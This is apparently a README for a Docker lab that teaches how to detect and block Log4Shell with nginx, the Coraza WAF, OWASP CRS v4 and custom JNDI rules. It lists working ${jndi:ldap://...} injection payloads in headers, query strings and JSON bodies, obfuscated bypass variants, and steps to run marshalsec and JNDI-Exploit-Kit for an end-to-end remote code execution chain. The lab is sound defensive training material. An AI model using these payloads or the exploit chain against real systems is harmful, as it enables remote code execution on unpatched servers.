
Log4Shell (CVE-2021-44228) 방어 실습 환경 — nginx + Coraza WAF 동적 모듈 + OWASP CRS v4. 교육 목적으로만 사용하세요.
교육/방어 목적: 이 랩은 의도적으로 취약한 앱(Log4j 2.14.1)과 JNDI 익스플로잇 키트 세트를 포함하며, 격리된 환경에서 Log4Shell을 탐지하고 차단하는 방법을 학습하기 위한 용도로만 사용됩니다. 인터넷에 배포하지 말고, 소유하지 않은 시스템을 공격하는 데 사용하지 마십시오.
Log4Shell(CVE-2021-44228) 방어 실습 랩으로, Coraza WAF(동적 모듈) + OWASP CRS v4 + 사용자 정의 JNDI 규칙 세트가 통합된 nginx를 사용합니다. 취약한 Spring Boot 대상 컨테이너, Kali attacker-box, 그리고 관찰용 Suricata + Wazuh가 함께 제공됩니다.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
요청 흐름: client → nginx (Coraza inspect) → log4shell-app. WAF는 별도 컨테이너가 아니라 nginx 내부에서(ngx_http_coraza_module.so 모듈을 통해) 실행됩니다.
| 항목 | 최소 버전 |
|---|---|
| Docker Desktop / Engine | Compose v2 포함 24+ |
| 사용 가능한 RAM | 4 GB (Wazuh가 약 1.5 GB 사용) |
| 사용 가능한 디스크 | 6 GB (이미지 빌드 산출물) |
| 첫 빌드 시간 | 10–15분 (libcoraza + nginx 모듈 + Maven 공격자 도구) |
cd /path/to/log4shell-nginx-coraza
docker compose build
가장 느린 단계는 nginx입니다(libcoraza v1.4.0을 Go 1.25로 빌드한 다음 coraza-nginx 모듈을 컴파일). 첫 빌드 후에는 캐시됩니다.
docker compose up -d
docker compose ps
약 30초 후 기대되는 상태:
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/에 X-Api-Version 헤더가 없으면 400을 반환합니다 — 이는 Spring Boot whitelabel 오류(핸들러 없음)이며, WAF 차단이 아닙니다.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
예상 결과: HTTP/1.1 403 Forbidden, 본문 <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
각 이벤트는 JSON Lines이며 다음을 포함합니다:
transaction.is_interrupted: true → WAF 차단messages[].error_message → 어떤 규칙이 발동했는지, 파일 및 줄, 심각도docker exec nginx-proxy tail -f /var/log/nginx/access.log
차단 항목 필터링:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
기본적으로
backend-net은internal: true로 설정되어 있고attacker-box는dmz-net에만 있으므로 log4shell-app이 attacker-box에 도달할 수 없습니다. JNDI 체인이 종단 간 작동하려면 먼저 6.0 단계를 수행하세요.
docker-compose.yml을 수정하여 attacker-box를 backend-net에 추가하세요:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
또는 log4shell-app을 dmz-net으로 이동합니다(더 간단하지만 네트워크 분할에 대한 교육적 가치는 줄어듭니다):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
적용: docker compose up -d (Compose가 해당 컨테이너만 재생성합니다).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
서버는 LDAP :1389 및 HTTP :8888에서 수신 대기합니다(compose에서 호스트에 이미 노출됨).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
확인:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
파일이 보이면 → 익스플로잇 체인이 정상이며, 앱은 여전히 취약하고, WAF는 정식 경로로 우회되지 않습니다.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
./coraza/config/log4shell-rules.conf 파일은 nginx의 /etc/nginx/coraza/log4shell-rules.conf에 :ro로 마운트됩니다. 수정한 후:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Coraza가 파싱 오류(failed to compile the directive...)를 보고하면 workers가 종료되고 nginx -s reload로 다시 생성되지 않습니다. 이 경우:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
include 순서(nginx/coraza/main.conf에 있으며 이미지에 bake됨):
SecRuleEngine On, 감사 로그, 디버그 로그crs-setup.conf — tx.*_anomaly_score, 임계값 초기화owasp-crs/rules/*.conf — 전체 CRS v4.7.0log4shell-rules.conf — 사용자 정의 규칙(호스트에서 마운트)사용자 정의 규칙 ID 범위: 1910001 – 1910999 (CRS 범위 900000–999999와 충돌 회피).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW는 유효하지 않습니다.IP:, SESSION:, RESOURCE:)은 backing store가 구성되지 않으면 작동하지 않습니다. 요청별로는 tx.를 사용하거나 nginx limit_req_zone을 통해 rate-limit을 사용하세요.(unhealthy) / curl localhost가 멈춤docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
대개 새 규칙의 구문 오류 때문에 모든 workers가 코드 2로 종료됩니다. 규칙을 수정하고 docker compose restart nginx를 실행하세요.
failed to create WAF: ... unknown severity: HIGH사용자 정의 규칙에서 severity:'HIGH'를 severity:'ERROR'로 변경하세요.
failed to compile the directive "secrule": invalid arguments, expected collection TX규칙이 setvar:ip.xxx를 사용하거나 IP:something / TX:NEVER_DECLARED를 참조하고 있습니다. 영구 컬렉션을 제거하거나 로직을 단일 체인 규칙으로 통합하세요.
Exited (1)jasonish/suricata:latest 이미지에는 자체 entrypoint가 있으며 ./suricata/config/에서 마운트한 yaml이 이미지의 버전과 호환되지 않을 수 있습니다. 빠른 해결책: compose에서 suricata 서비스를 일시적으로 주석 처리하면 랩은 정상적으로 실행됩니다(Coraza 작동에 IDS는 필요 없음). 완전히 해결하려면 suricata.yaml을 이미지의 기본값으로 교체하세요(docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
기본 이미지는 Alpine 3.8 EOL입니다. compose의 command가 ["java", "-jar", "/app/spring-boot-application.jar"]인지 확인하세요(apk add iptables 없이 — Alpine 3.8 저장소는 이미 404입니다).
http://localhost:5601로 접근할 수 없음Wazuh manager + dashboard가 완전히 작동하려면 wazuh-indexer(OpenSearch)가 필요합니다. 현재 스택에는 해당 서비스가 없어서 dashboard는 시작되지만 로그인이 실패합니다. 실제로 필요할 때 공식 compose에 따라 wazuh-indexer 서비스를 추가하세요.
# Stop + remove container, giữ image cache
docker compose down
# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v
# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; ở http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # custom JNDI rules, mount :ro vào nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # mount points cho nginx, coraza, app, suricata, wazuh
| 범위 | 담당 | CRS 범위와 충돌? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (CRS 소유) |
| 1910000–1910999 | 사용자 정의 Log4Shell 규칙 | 없음 |
현재 존재하는 모든 사용자 정의 규칙 ID: 1910001–1910008 (JNDI 패턴), 1910010–1910014 (헤더별), 1910015 (대체 프로토콜), 1910020 (스캐닝 탐지), 1910026 (JSON 본문 체인), 1910028 (XML 본문 체인), 1910030 (paranoia 3), 1910999 (이상 징후 평가 에코).
결론: 랩이 4단계까지 실행되면 WAF가 작동하는 것입니다. 6단계는 전체 익스플로잇 체인을 종단 간 시연하려는 경우에만 필요합니다.
| Service | STATUS |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | Restarting일 수 있음(8항목 참조 — 랩을 차단하지 않음) |
TX:VARNAME은 같은 요청 내에서 setvar된 변수만 참조할 수 있습니다. 규칙이 다른 phase에 있다면 체인 규칙으로 통합하는 것을 고려하세요.